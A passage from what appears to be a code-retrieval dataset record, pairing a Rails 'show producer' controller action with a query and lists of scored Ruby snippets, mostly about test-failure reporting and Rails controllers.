:red unless Result.failures.empty?\n res = \"#{res} #{Result.errors.length} Errors\".yellow and color = :yellow unless Result.errors.empty?\n say res.send(color)\n end", "def communicate_failure\n File.open(\"#{@options[:output_directory]}/failed.job\", 'w') { |f| f << \"Failed Workflow #{::Time.now} #{@options}\" }\n raise 'Missing required options' unless @options[:url] && @options[:datapoint_id] && @options[:project_id]\n send_status('Failed')\n send_file(\"#{@options[:output_directory]}/run.log\")\n Dir.glob(\"#{@options[:output_directory]}/../reports/*\").each { |f| send_file(f) }\n end", "def generate_fail_message(results)\n msg = fail_message.dup\n unless results.empty?\n failed_items = results.map do |item|\n f_item = item[:failures]\n next if f_item.nil? || f_item == true || f_item == false\n f_item\n end.flatten.compact.map(&:to_s)\n unless failed_items.empty?\n msg = \"#{msg} (failures: `#{failed_items.join(\"`, `\")}`)\"\n end\n end\n msg\n end", "def log_error test, message\n $stderr.puts message if Rails.env.development?\n TestResult.new(suite_name: self.class.name, test_name: test, messages: message, error:true).tap do |tr|\n test_results << tr\n end\n message\n end", "def summary_at_exit\n reporter = Speciny::Reporter.new(@description)\n @tests.each do |example, result|\n reporter.print_test_result(example, result)\n end\n end", "def failure_message\n actual = prettify_args(@actual)\n\n if @description\n \"'#{actual}' should #{@description}\"\n else\n \"'#{actual}' should satisfy the requirements\"\n end\n end", "def failed_checks\n all_checks_which_pass(false)\n end", "def failed(*args)\n begin\n CucumberCounters.error_counter += 1\n file_name = format('tmp/capybara/error_%03d.png',\n CucumberCounters.error_counter)\n Capybara.page.save_screenshot(file_name, full: true)\n Rails.logger.info(\"[Cucumber] Saved screenshot of error for #{ @scenario_name } to #{ file_name }\")\n rescue\n Rails.logger.info('[Cucumber] Cannot make screenshot of failure')\n end\n binding.pry if ENV['DEBUGGER']\n orig_failed(*args)\n end", "def output_results(test_results)\n total_tests = test_results.size\n total_assertions = 0\n total_failures = 0\n total_errors = 0\n\n test_results.each do |test_result|\n if test_result.status == \"allow_failure\"\n output_stdout(\"Test #{test_result.name} was allowed to fail, and failed\\n\")\n elsif test_result.status == \"allow_success\"\n output_stdout(\"Test #{test_result.name} was allowed to fail, but succeeded\\n\")\n end\n total_assertions += test_result.assertion_count\n if not test_result.passed?\n total_failures += test_result.failures.size\n total_errors += test_result.errors.size\n faults = test_result.failures + test_result.errors\n faults.each_with_index do |fault, index|\n output_stdout(\"\\n%3d) %s\\n\" % [index + 1, fault.long_desc])\n end\n test_result.coredumps.each do |hostname, corelist|\n output_stdout(\"Coredumps on host #{hostname}:\\n\")\n corelist.each {|core| output_stdout(core.corefilename)}\n output_stdout(\"Binaries and corefiles saved in #{hostname}:#{corelist.first.coredir}\\n\")\n end\n end\n end\n output_stdout(\"In all: #{total_tests} Tests, #{total_assertions} Assertions, #{total_failures} Failures, #{total_errors} Errors.\\n\")\n end", "def failure_reason\n return nil unless (tf = terminal_failures) && tf.size > 0\n\t\"Expected \" +\n\t (tf.size == 1 ?\n\t tf[0].expected_string :\n \"one of #{tf.map{|f| f.expected_string}.uniq*', '}\"\n\t ) +\n \" at line #{failure_line}, column #{failure_column} (byte #{failure_index+1})\" +\n \" after #{input[index...failure_index]}\"\n end", "def exit_code\n # there must be no unit test failures\n # pp @results\n final_exit_code = 0\n if @results['rubocop']\n # more than 10 errors per file on average\n status = @results['rubocop']['total_errors'] / @results['rubocop']['total_files']\n if status > 10\n puts \"More than 10 RuboCop errors per file found. Found #{status}\"\n final_exit_code = 1\n end\n end\n\n if @results['openstudio_style']\n total_files = @results['openstudio_style']['by_measure'].count\n status = @results['openstudio_style']['total_errors'] / total_files\n if status > 10\n puts \"More than 10 OpenStudio Style errors found per file. Found #{status}\"\n final_exit_code = 1\n end\n\n status = @results['openstudio_style']['total_warnings'] / total_files\n if status > 25\n puts \"More than 25 OpenStudio Style warnings found per file, reporting as error. Found #{status}\"\n final_exit_code = 1\n end\n end\n\n if @results['minitest']\n if @results['minitest'][:total_errors] > 0 || @results['minitest'][:total_failures] > 0\n puts 'Unit Test (Minitest) errors/failures found.'\n final_exit_code = 1\n end\n end\n\n # if @results['coverage']\n # status = @results['coverage']['total_percent_coverage']\n # if status < 70\n # puts \"Code coverage is less than 70%, raising error. Coverage was #{status}\"\n # final_exit_code = 1\n # end\n # end\n\n # Since the data are relative to the directory from which it has been run, then just show from current dir (.)\n puts 'Open ./test_results/dashboard/index.html to view measure testing dashboard.'\n\n return final_exit_code\n end", "def report(exceptions, passed = 0, start = nil, io = $stdout)\n failed = erred = 0\n\n io.puts\n io.puts \"Finished in #{Time.now - start} seconds.\" unless start.nil?\n exceptions.each_with_index do |(o, e), i|\n io.puts\n if e.is_a? RuntimeError\n failed += 1\n io.puts \"%3d) Failure\" % [i + 1]\n io.puts \"#{e.message} \" unless e.message.empty?\n io.puts \"with <#{o.inspect}>\"\n io.puts \"[#{e.backtrace.first[/.+\\d+/]}]\"\n else\n erred += 1\n io.puts \"%3d) Error\" % [i + 1]\n io.puts \"#{e.class.name}: #{e.message}\"\n io.puts \"with <#{o.inspect}>\"\n io.puts e.backtrace.select { |l| l !~ /dots.rb/ }.map { |l| \"\\t#{l}\" }\n end\n end\n io.puts\n io.puts summary(passed, failed, erred)\n end", "def all_failing\n all(\"#qunit-tests .fail\")\n end", "def failure_message\n \"expected #{@target.name} to provide #{@expected}, but it doesn't\"\n end", "def long_display\n location_display = if(location.size == 1)\n location[0].sub(/\\A(.+:\\d+).*/, ' [\\\\1]')\n else\n \"\\n [#{location.join(\"\\n \")}]\"\n end\n [\n \"Failure\".yellow.bold, \n \":\\n\",\"#@test_name\".white, \n \"#{location_display}\".gsub(/:(\\d+)/, \":#{'\\1'.yellow}\"), \n \":\\n\", \"#@message\".yellow\n ].join('')\n end", "def send_to_testrail()\n options = ArgParser.parse_opts\n # Get pass/fail/skips from junit file\n results = load_junit_results(options[:junit_file])\n\n puts \"Run results:\"\n puts \"#{results[:passes].length} Passing\"\n puts \"#{results[:failures].length} Failing or Erroring\"\n puts \"#{results[:skips].length} Skipped\"\n\n # Set results in testrail\n bad_results = set_testrail_results(results, options[:junit_file], options[:testrun_id], options[:dry_run])\n\n # Print error messages\n if not bad_results.empty?\n puts \"Error: There were problems processing these test scripts:\"\n bad_results.each do |test_script, error|\n puts \"#{test_script}:\\n\\t#{error}\"\n end\n end\n end", "def failures; end", "def failures; end", "def failures; end", "def report_stderr(stderr)\n @report.info(:stderr, stderr)\n end", "def report_stderr(stderr)\n @report.info(:stderr, stderr)\n end", "def message(results)\n message = \"#{results[:tests]} tests\\n\"\n message << \"#{results[:assertions]} assertions\\n\"\n message << \"#{results[:failures]} failures\\n\"\n message << \"#{results[:errors]} errors\\n\"\n message\n end", "def failure_message\n matching_files = @fixture.files & @local.files\n fixture_only_files = @fixture.files - @local.files\n local_only_files = @local.files - @fixture.files\n buf = \"expected fixture #{@fixture.path} to match files:\\n\"\n (@fixture.files | @local.files).sort.each do |file|\n if matching_files.include?(file)\n local_file = @local.absolute(file)\n fixture_file = @fixture.absolute(file)\n if File.directory?(local_file) && File.directory?(fixture_file)\n # Do nothing\n elsif File.directory?(fixture_file)\n buf << \" #{file} should be a directory\\n\"\n elsif File.directory?(local_file)\n buf << \" #{file} should not be a directory\"\n else\n actual = IO.read(local_file)\n expected = IO.read(fixture_file)\n if actual != expected\n # Show a diff\n buf << \" #{file} does not match fixture:\"\n buf << differ.diff(actual, expected).split(/\\n/).map {|line| ' '+line }.join(\"\\n\")\n end\n end\n elsif fixture_only_files.include?(file)\n buf << \" #{file} is not found\\n\"\n elsif local_only_files.include?(file)\n buf << \" #{file} should not exist\\n\"\n end\n end\n buf\n end", "def summary\n calculate_summary! if summary_calculation_needed?\n suffix =\n if examples.length == 1\n # Single test - be nice and just print the exception message if the test\n # failed. No need to say \"1 failed\".\n examples[0][:message].to_s\n else\n [\n !fails.empty? ? \"#{fails.uniq.length} failed\" : nil,\n !skips.empty? ? \"#{skips.uniq.length} skipped\" : nil,\n ].compact.join(' ')\n end\n\n suffix == '' ? title : title + ' (' + suffix + ')'\n end", "def print_errors(rows)\n print \"Errors:\\n\"\n rows.each do |row|\n print \"Row #{row[:row_number]} rejected: #{row[:validation_errors].join(\", \")}\\n\"\n\n end\n print \"\\n\"\n end", "def format\n if compile_error?\n \"FAILED: Test did not run because of compilation error\"\n else\n lines.reduce([]) do |formatted, l|\n if l.match(/(FAILED: .*) expected to (.*), but (.*)/)\n formatted << $1\n formatted << \" expected: \" + $2\n formatted << \" actual: \" + replace_binary($3)\n end\n formatted\n end.join(\"\\n\")\n end\n end", "def log_fitting_failures\n\n @logger.info { \"fitting failures by type:\" }\n\n @failures.each_key do |k|\n\n @logger.info { FAILURE_REASONS[k] + \": \" + @failures[k].to_s }\n\n end\n\n end", "def failure_message\n if @options[:count]\n \"expected following text to match selector #{@expected} #{@options[:count]} times, but found it #{@occurences} times:\\n#{@document} \"\n else\n \"expected following text to match selector #{@expected}:\\n#{@document}\"\n end\n end", "def errors\n @test_results.map { |tuple| (tuple[2] - tuple[3]).abs }\n end", "def negative_failure_message\n return '' if found.nil? || found == []\n\n found_count = found.length\n found_string = found.map {|job| strategy.pretty_print_job(job) }.join(\"\\n\")\n if expected_count?\n job_count = expected_count\n job_word = expected_count == 1 ? 'job' : 'jobs'\n else\n job_count = 'any'\n job_word = 'jobs'\n end\n return [\n \"did not expect #{job_count} #{job_word} matching #{expected.to_s},\",\n \"found #{found_count}:\",\n found_string,\n ].join(' ')\n end", "def email_failure_report(message=\"\")\n\t\t\t@email_addr.each do |email|\n\t\t\t\tsend_email(:to => email, :subject => (\"Servers Down!\" + message), :message => @report.fail_text)\n\t\t\tend\n\t\tend", "def fail(message) [:fail, message.to_s, line, file]; end", "def print_result_summary(result, time_taken=0)\n if result.failure_count == 0 && result.error_count == 0\n final_color = success_color\n elsif result.error_count > 0\n final_color = error_color\n else\n final_color = fail_color\n end\n\n out \"\\nTests: #{result.run_count}, Assertions: #{result.assertion_count}, Fails: #{result.failure_count}, Errors: #{result.error_count}, Time taken #{sprintf('%.2f', time_taken)}s\", final_color\n end", "def failure_message\n \"expected document to #{description}; got: #{@rendered}\"\n end", "def failure_message\n \"expected document to #{description}; got: #{@rendered}\"\n end", "def dump\n @formatters.each{|f| f.start_dump}\n dump_failures\n @formatters.each{|f| f.dump_summary(duration, @example_names.length, @failures.length)}\n @failures.length\n end", "def print_problems\n report(@problems)\n end", "def failure_message\n messages = [subject.inspect]\n attributes.each do |attribute|\n messages << subject.errors.full_messages_for(attribute)\n end\n messages.compact.join(\"\\n\")\n end", "def negative_failure_message\n matchers.map(&:negative_failure_message).join(\" and \")\n end", "def negative_failure_message\n \"expected #{@target.name} not to provide #{@expected}, but it does\"\n end", "def report_test_result success, msg\n if(success)\n print_success msg\n else\n print_error msg\n end\nend", "def failure_message\n return '' unless found.nil?\n return \"expected tube matching #{expected.to_s}, found none.\"\n end", "def long_display\n backtrace = filter_backtrace(location).join(\"\\n\")\n \"#{label}: #{@message}\\n#{@test_name}\\n#{backtrace}\"\n end", "def long_display\n backtrace = filter_backtrace(location).join(\"\\n\")\n \"#{label}: #{@message}\\n#{@test_name}\\n#{backtrace}\"\n end", "def long_display\n backtrace = filter_backtrace(location).join(\"\\n\")\n \"#{label}: #{@message}\\n#{@test_name}\\n#{backtrace}\"\n end", "def format_test_summary(executed_message, failures_per_suite)\n failures = format_failures(failures_per_suite)\n if failures.empty?\n final_message = green(executed_message)\n else\n final_message = red(executed_message)\n end\n\n text = [failures, final_message].join(\"\\n\\n\\n\").strip\n \"\\n\\n#{text}\"\n end", "def for_display(context = {})\n my_context = context.merge(\n server: @server_deployment.server,\n server_deployment: @server_deployment,\n task: @server_deployment.task)\n @failures.map do |failure|\n log_snippets = failure.error_for_display(my_context)\n [failure.name, failure.description(my_context), '', 'LOG:', log_snippets].join(\"\\n\")\n end\n end", "def failure(message)\n $stderr.puts \"#{name}: #{message}\"\n exit 1\n end", "def test_command_failed\n assert_raise(Report::CommandFailed) { @report.run('nosuch') }\n assert_raise(Report::CommandFailed) { @report.run('cat', 'nosuch') }\n end", "def report_check_run_failure\n data = params\n check_run = data[:check_run]\n check_run_status = check_run[:status]\n sha = check_run[:head_sha]\n workflow_name = check_run[:name]\n conclusion = check_run[:conclusion]\n check_run_url = check_run[:html_url]\n check_suite = check_run[:check_suite]\n app_name = check_run[:app][:name]\n details_url = check_run[:details_url]\n pull_requests = check_suite[:pull_requests]\n pull_request = pull_requests[0]\n branch = check_suite[:head_branch]\n repository = data[:repository]\n repo_name = repository[:name]\n repo_url = repository[:html_url]\n sender_login = data[:sender][:login]\n pr_number = pull_request[:number] if pull_request.present?\n branch_path = ''\n branch_path = \"/tree/#{branch}\" if branch != 'master'\n\n # We are only interested in completed non-success\n return if check_run_status != 'completed' || conclusion == 'success'\n\n message = \"[ [#{repo_name}](#{repo_url}) ]\"\n message += if app_name == 'GitHub Actions'\n \" GitHub Action workflow [#{workflow_name}](#{check_run_url}):\"\n else\n \" Check run [#{workflow_name}](#{check_run_url}):\"\n end\n message += if pull_request.present?\n \" [#{conclusion}](#{repo_url}/pull/#{pr_number}/checks?sha=#{sha})\"\n else\n \" [#{conclusion}](#{details_url})\"\n end\n message += \" on [#{sha.first(7)}](#{repo_url}/commit/#{sha.first(10)})\"\n message += \" by #{sender_login}\" if sender_login.present?\n message += \" in the [#{branch}](#{repo_url}#{branch_path}) branch\" if branch.present?\n message += \" for [PR ##{pr_number}](#{repo_url}/pull/#{pr_number})\" if pull_request.present?\n\n # We don't want to send more than one message for this workflow & sha with the same conclusion within 20 minutes.\n # This counter expires from Redis in 20 minutes.\n ci_counter = Redis::CI.new(\"check_run_#{workflow_name}_#{conclusion}_#{sha}\")\n ci_counter.sucess_count_incr\n ActionCable.server.broadcast 'smokedetector_messages', message: message if ci_counter.sucess_count == 1\n end", "def message\n \"Test has too many steps. #{@linted_step_count} steps found (max #{@linted_step_threshold}).\"\n end", "def get_FailureDescription()\n \t return @outputs[\"FailureDescription\"]\n \tend", "def negative_failure_message\n \"expected document to not #{description}; got: #{@rendered}\"\n end", "def negative_failure_message\n \"expected document to not #{description}; got: #{@rendered}\"\n end", "def failure_message(description, options={})\n message = String.new(\"expected to find #{description}\")\n if options[:count]\n message << \" #{options[:count]} #{declension('time', 'times', options[:count])}\"\n elsif options[:between]\n message << \" between #{options[:between].first} and #{options[:between].last} times\"\n elsif options[:maximum]\n message << \" at most #{options[:maximum]} #{declension('time', 'times', options[:maximum])}\"\n elsif options[:minimum]\n message << \" at least #{options[:minimum]} #{declension('time', 'times', options[:minimum])}\"\n end\n message\n end", "def message_for(test)\n suite = test.class\n name = test.name\n e = test.failure\n\n if test.passed?\n nil\n elsif test.skipped?\n \"Skipped:\\n#{name}(#{suite}) [#{location(e)}]:\\n#{e.message}\\n\"\n elsif test.failure\n \"Failure:\\n#{name}(#{suite}) [#{location(e)}]:\\n#{e.message}\\n\"\n elsif test.error?\n \"Error:\\n#{name}(#{suite}):\\n#{e.message}\"\n end\n end" ]
[ "0.76661044", "0.7546229", "0.7342739", "0.7153604", "0.7092292", "0.708316", "0.70522356", "0.70522356", "0.6904949", "0.68224376", "0.68224376", "0.678986", "0.6789238", "0.6782796", "0.6771875", "0.67206526", "0.6700093", "0.6700093", "0.6621579", "0.6566587", "0.6538722", "0.64847577", "0.64802927", "0.6452617", "0.6440654", "0.6429112", "0.6429112", "0.64289737", "0.6412418", "0.6384316", "0.63820887", "0.63804454", "0.6368584", "0.63601637", "0.63301724", "0.63248587", "0.6320585", "0.63179934", "0.6295682", "0.6280177", "0.62680984", "0.6263665", "0.6261734", "0.6259266", "0.6254537", "0.6232489", "0.622787", "0.6206254", "0.61995137", "0.61905265", "0.61713123", "0.613711", "0.6119773", "0.6105963", "0.61031646", "0.61005443", "0.6094624", "0.608256", "0.6075926", "0.6073538", "0.6070973", "0.6070973", "0.6070973", "0.60514295", "0.60514295", "0.6050098", "0.604224", "0.60401845", "0.6030444", "0.6030011", "0.60290766", "0.6009967", "0.59985965", "0.59871346", "0.5972839", "0.5961037", "0.5948669", "0.5944471", "0.5944471", "0.5942609", "0.5940923", "0.5937872", "0.5926272", "0.591859", "0.5917559", "0.59072083", "0.5903912", "0.5903912", "0.5903912", "0.5883112", "0.58822846", "0.5882115", "0.58802515", "0.5878128", "0.58751136", "0.5864433", "0.5854787", "0.5854787", "0.5850074", "0.58471996" ]
0.7043414
8
GET /producers/1 GET /producers/1.json
def show @producer = Finder.find_producer_by_id params[:id] @producer ||= KiWi.show_producer params[:id] render json: @producer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @producers = Producer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @producers }\n end\n end", "def index\n @producers = Producer.all\n end", "def show\n @producer = Producer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producer }\n end\n end", "def producers_hash\n search_by_itemprop_hash 'producer'\n end", "def new\n @producer = Producer.new\n @groupings = Grouping.all\n @kinds = Kind.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @producer }\n end\n end", "def index\n if params[:search]\n @search = Producer.search do\n fulltext params[:search]\n end\n @producers = @search.results \n elsif params[:album_id]\n @producers = Album.find(params[:album_id]).producers\n else\n @producers = Producer.all\n end\n render json: @producers\n end", "def producers\n to_array search_by_itemprop 'producer'\n end", "def index\n @content_producers = ContentProducer.all\n end", "def show\n authorize @producer\n render json: @producer\n end", "def producers\n Pathname.glob(@path.join('producers/*.yml')).map do |file|\n producer(YAML.load_file(file))\n end.compact\n end", "def producers\n parse_crew('Produced by')\n end", "def create\n\t\tproducer = Producer.create(producer_params)\n\n\t\tif !producer.errors.any?\n\t\t\trender json: producer\n\t\telsif producer.errors.messages[:name][0] == \"has already been taken\"\n\t\t\trender json: {message: \"Producer already exists\"}\n\t\telse\n\t\t\trender json: {message: \"Error occurred\"}\n\t\tend\n\tend", "def create\n @producer = Pusher.create_producer(params[:producer])\n\n if @producer.valid?\n render json: @producer, status: :created, location: @producer\n else\n render json: @producer.errors, status: :unprocessable_entity\n end\n end", "def show\n render json: @prossumer\n end", "def producer_params\n params.permit(:name, :producers_type)\n end", "def create\n @producer = Producer.new(producer_params)\n\n respond_to do |format|\n if @producer.save\n format.html { redirect_to @producer, notice: \"Producer was successfully created.\" }\n format.json { render :show, status: :created, location: @producer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @producer.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @supplier_produces = SupplierProduce.all\n # byebug\n render json: @supplier_produces\n # { supplier: @supplier_produces.suppliers, produce: @supplier_produces.produces, season: @supplier_produces.season }\n end", "def create\n @producer = Producer.new(producer_params)\n authorize @producer\n if @producer.save\n head :no_content\n else\n render json: @producer.errors, status: :unprocessable_entity\n end\n end", "def destroy\n @producer = Producer.find(params[:id])\n @producer.destroy\n\n respond_to do |format|\n format.html { redirect_to producers_url }\n format.json { head :no_content }\n end\n end", "def one\n if args.length != 2\n error \"Kafka name, topic and data to consume required\"\n end\n _, topic = args\n name, url = attachment(args)\n parsed = JSON.parse(url, symbolize_names: true)\n url = URI.parse(parsed[:kafka])\n consumer = Poseidon::PartitionConsumer.new(\"one-consumer\", url.host, url.port, topic, 0, :earliest_offset)\n display(\"Consuming data from topic #{topic}..\")\n msg = consumer.fetch\n display(\"--> #{msg.last.value}\")\n end", "def show\n @primer = Primer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @primer }\n end\n end", "def one\n if args.length != 3\n error \"Kafka name, topic and data to produce required\"\n end\n _, topic, data = args\n name, url = attachment(args)\n parsed = JSON.parse(url, symbolize_names: true)\n url = URI.parse(parsed[:kafka])\n producer = Poseidon::Producer.new([\"#{url.host}:#{url.port}\"], \"one-producer\")\n display(\"Publishing data to topic #{topic}..\")\n msg = Poseidon::MessageToSend.new(topic, data)\n producer.send_messages([msg])\n display(\"Done.\")\n end", "def show\n @grocery = Grocery.find(params[:id])\n\n render json: @grocery\n end", "def index\n @precincts = Precinct.all(:order => \"number\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @precincts }\n end\n end", "def index\n if params[:printer_type].present?\n @printers = Printer.where(printer_type: params[:printer_type])\n else\n @printers = Printer.all\n end\n\n render json: @printers\n end", "def index\n @publishers = Publisher.order(\"id DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @publishers }\n end\n end", "def show\n @processor = Processor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @processor }\n end\n end", "def show\n @pocket = Pocket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pocket }\n end\n end", "def index\n @chargers = Charger.all\n render json: @chargers\n end", "def show\n @prod = Prod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prod }\n end\n end", "def show\n @precinct = Precinct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @precinct }\n end\n end", "def index\n @prayers = Prayer.all\n render json: @prayers, status: 200 # you've got a serializer. Maybe you should use it.\n end", "def set_producer\n @producer = Producer.find(params[:id])\n end", "def set_producer\n @producer = Producer.find(params[:id])\n end", "def set_producer\n @producer = Producer.find(params[:id])\n end", "def set_produce\n @produce = Produce.find(params[:id])\n end", "def show\n @prayers = Prayer.all\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end", "def show\n @prod = Prod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @prod }\n end\n end", "def index\n @pubs = Pub.all\n\n render json: @pubs\n end", "def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end", "def index\n @props = Prop.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @props }\n end\n end", "def index\n @prosumer_categories = ProsumerCategory.all\n end", "def index\n @pugs = Pug.all\n\n render json: @pugs\n end", "def show\n render json: Collection.find(params.require(:id))\n end", "def show\n @publisher = Publisher.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @publisher }\n end\n end", "def show\n @publisher = Publisher.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @publisher }\n end\n end", "def index\n @papers = Paper.all\n\n render json: @papers\n end", "def producer_params\n params.require(:producer).permit(:name)\n end", "def index\n @topics = @pool.topics.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @provisors = Provisor.all\n end", "def index\n @prayers = Prayer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prayers }\n end\n end", "def destroy\n @producer.destroy\n respond_to do |format|\n format.html { redirect_to producers_url, notice: 'Producer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def show\n @propose = Propose.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @propose }\n end\n end", "def destroy\n @producer.destroy\n respond_to do |format|\n format.html { redirect_to producers_url, notice: \"Producer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def index\n @proposals = Proposal.all\n\n render json: @proposals\n end", "def produce(topic, key, value)\n producer = init_producer\n key = serialize(key, @config.properties['key.serializer'])\n value = serialize(value, @config.properties['value.serializer'])\n\n producer.send(ProducerRecord.new(topic, key, value))\n end", "def show\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator }\n end\n end", "def show\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end", "def show\n @publisher = Publisher.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @publisher }\n end\n end", "def producer_classes\n return self.class.producers if self.class.producers.any?\n\n [@config.producer_class.constantize]\n end", "def show\n render status: 200, json: Passage.find(params[:id])\n end", "def show\n\tLogger.log current_user\n @worker = Worker.find(params[:id])\n render json: @worker\nend", "def index\n courses = Course.includes(:professors).includes(:ratings).all\n\n render json: courses.to_json(include: [:professors, :ratings])\n end", "def show\n @promocion = Promocion.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @promocion }\n end\n end", "def update\n @producer = Pusher.update_producer(params)\n\n if @producer.valid?\n head :no_content\n else\n render json: @producer.errors, status: :unprocessable_entity\n end\n end", "def show\n @produkt = Produkt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produkt }\n end\n end", "def show\n @profesore = Profesore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profesore }\n end\n end", "def index\n @products = Product.all\n render json: @products\n end", "def show\n # is_my_resource(params[:id])\n\n # prossumerProductsIds = Prossumer.find(params[:id]).products.ids\n render json: ProductAuth.where({product_id: params[:id], group_id: params[:group_id]}).first.as_json(:include => :product)\n end", "def index\n @generator = Generator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generator }\n end\n end", "def show\n reading = $redis.get(params[:id]) || Reading.find_by_id(params[:id])\n render :json => { info: \"No data for given reading\" } and return if reading.nil?\n render json: reading\n end", "def show\n @worker = Worker.find(params[:id])\n\n render json: @worker\n end", "def show\n render json: @printer.map_to_custom_printer\n end", "def show\n product = Product.find_by_id(params[:id])\n\n render json: product\n end", "def new_producer\n Producer.create(user_id: self.id)\n end", "def show\n render json: @pub\n end", "def show\n @submitter = Submitter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitter }\n end\n end", "def consumers\n @consumer = Consumer.new\n @appointment = Appointment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n# format.json { render json: @appointment }\n end\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @proteins = Protein.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proteins }\n end\n end", "def show\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proposal }\n end\n end", "def show\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proposal }\n end\n end", "def destroy\n @producer.destroy\n @producers = Producer.by_store(current_store.id)\n end", "def get_pact_consumer_name pact_url\n json = get_json(pact_url)\n json['consumer']['name']\nend", "def index\r\n set_data_from_param\r\n @page_info = resources_with_pagination(@boards)\r\n render formats: :json\r\n end", "def index\n @properties = Property.all\n\n render json: @properties\n end", "def show\n @redpack = Redpack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @redpack }\n end\n end", "def show\n @grumble = Grumble.find(params[:id])\n render status: 200, json: @grumble.to_json\n end", "def show\n @prospective = Prospective.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @prospective }\n end\n end", "def index\n @progs = Prog.all\n end", "def show\n @grocery_list = GroceryList.find(params[:id])\n render json: @grocery_list\n end", "def show\n @supplier = Supplier.find(params[:id])\n @products = Product.where(:supplier_id => @supplier.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @supplier }\n end\n end", "def mget\n begin \n params.reject! {|key, value| ['controller', 'action', 'format'].include?(key)}\n @connections = []\n params.each do |key, value|\n @connections << {key: value, value: to_obj($redis.get(value)), ttl: $redis.ttl(value)}\n end \n rescue => e\n @connections = {status: 500, message: e.message }\n end \n\n respond_to do |format|\n format.json { render json: @connections }\n end\n end", "def producer; end", "def index\n @primes = Prime.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @primes }\n end\n end", "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "def index\n @prospies = Prospie.all\n end", "def show\n @products = Product.find_by_id(params[:id])\n msg = { status: 200 , product: @products }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end" ]
[ "0.73423797", "0.6970938", "0.6558059", "0.6389291", "0.6196757", "0.6192715", "0.6106496", "0.60447097", "0.59469765", "0.5862189", "0.58150387", "0.5775174", "0.56869", "0.5685969", "0.5605616", "0.55810684", "0.5483181", "0.54580307", "0.54444385", "0.54179543", "0.53859335", "0.5327603", "0.5307403", "0.5295243", "0.5279121", "0.5270701", "0.52612543", "0.52572936", "0.52462155", "0.5245443", "0.52437747", "0.52363473", "0.52068716", "0.52068716", "0.52068716", "0.5205649", "0.51994395", "0.51966447", "0.5179162", "0.51565117", "0.51333183", "0.51228917", "0.5117203", "0.5079359", "0.5077396", "0.5077396", "0.5067754", "0.50631005", "0.5059896", "0.50584626", "0.50580597", "0.5054516", "0.50516945", "0.5051601", "0.5040061", "0.50370395", "0.50339174", "0.5027287", "0.50248724", "0.5023964", "0.50211096", "0.5011738", "0.501079", "0.50034326", "0.50027376", "0.4999552", "0.49916092", "0.49902076", "0.49863634", "0.49834424", "0.49749744", "0.49724278", "0.4972032", "0.4962382", "0.49584478", "0.49576873", "0.49571592", "0.4947755", "0.49475294", "0.49475294", "0.49475294", "0.4939659", "0.4937338", "0.4937338", "0.49287206", "0.49261096", "0.49255607", "0.49171185", 